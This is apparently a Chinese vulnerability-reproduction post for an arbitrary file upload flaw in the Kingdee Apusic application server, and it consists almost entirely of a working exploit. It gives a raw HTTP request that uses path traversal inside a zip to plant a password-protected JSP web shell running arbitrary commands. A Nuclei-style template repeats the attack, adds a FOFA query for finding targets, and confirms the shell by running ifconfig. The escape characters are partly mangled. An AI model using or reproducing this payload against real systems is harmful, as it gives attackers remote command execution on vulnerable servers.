「漏洞复现」金蝶 Apusic 应用服务器任意文件上传漏洞

POST /admin//protect/application/deployApp HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbdAccept-Encoding: gzip ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="appName" 111------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="deployInServer" false------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="clientFile"; filename="evil.zip"Content-Type: application/x-zip-compressed {{unquote("PKx03x04x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00../../../../applications/default/public_html/shell2.jsp<%x0dx0a    if x28"admin".equalsx28request.getParameterx28"pwd"x29x29x29 x7bx0dx0a        java.io.InputStream input = Runtime.getRuntimex28x29.execx28request.getParameterx28"cmd"x29x29.getInputStreamx28x29;x0dx0a        int len = -1;x0dx0a        byte[] bytes = new byte[4092];x0dx0a        while x28x28len = input.readx28bytesx29x29 != -1x29 x7bx0dx0a            out.printlnx28new Stringx28bytes, "GBK"x29x29;x0dx0a        x7dx0dx0a    x7dx0dx0a%>PKx01x02x14x03x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00x00x00x00x00x00x00x00x00xb4x81x00x00x00x00../../../../applications/default/public_html/shell2.jspPKx05x06x00x00x00x00x01x00x01x00ex00x00x00xb9x01x00x00x00x00")}}------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="archivePath"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="baseContext"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="startType" auto------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="loadon"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="virtualHost"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="allowHosts"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="denyHosts"  ------WebKitFormBoundaryd9acIBdVuqKWDJbd--

id: kingdee-Apusic-deployApp-uploadinfo:  name: 金蝶 Apusic 应用服务器任意文件上传漏洞  author: rain  severity: high  description: 金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致远程代码执行，危及服务器安全。  tags:    - file-upload    - kingdee  metadata:    fofa-query: app="Apusic应用服务器"http:  - raw:      - |        POST /admin//protect/application/deployApp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd        Accept-Encoding: gzip                ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="appName"                111        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="deployInServer"                false        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="clientFile"; filename="evil.zip"        Content-Type: application/x-zip-compressed                "PKx03x04x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00../../../../applications/default/public_html/shell2.jsp<%x0dx0a    if x28"admin".equalsx28request.getParameterx28"pwd"x29x29x29 x7bx0dx0a        java.io.InputStream input = Runtime.getRuntimex28x29.execx28request.getParameterx28"cmd"x29x29.getInputStreamx28x29;x0dx0a        int len = -1;x0dx0a        byte[] bytes = new byte[4092];x0dx0a        while x28x28len = input.readx28bytesx29x29 != -1x29 x7bx0dx0a            out.printlnx28new Stringx28bytes, "GBK"x29x29;x0dx0a        x7dx0dx0a    x7dx0dx0a%>PKx01x02x14x03x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00x00x00x00x00x00x00x00x00xb4x81x00x00x00x00../../../../applications/default/public_html/shell2.jspPKx05x06x00x00x00x00x01x00x01x00ex00x00x00xb9x01x00x00x00x00"        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="archivePath"                        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="baseContext"                        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="startType"                auto        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="loadon"                        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="virtualHost"                        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="allowHosts"                        ------WebKitFormBoundaryd9acIBdVuqKWDJbd        Content-Disposition: form-data; name="denyHosts"                        ------WebKitFormBoundaryd9acIBdVuqKWDJbd--      - |        GET /shell2.jsp?pwd=admin&cmd=ifconfig HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code_2==200 && contains(body_2, "eth0")'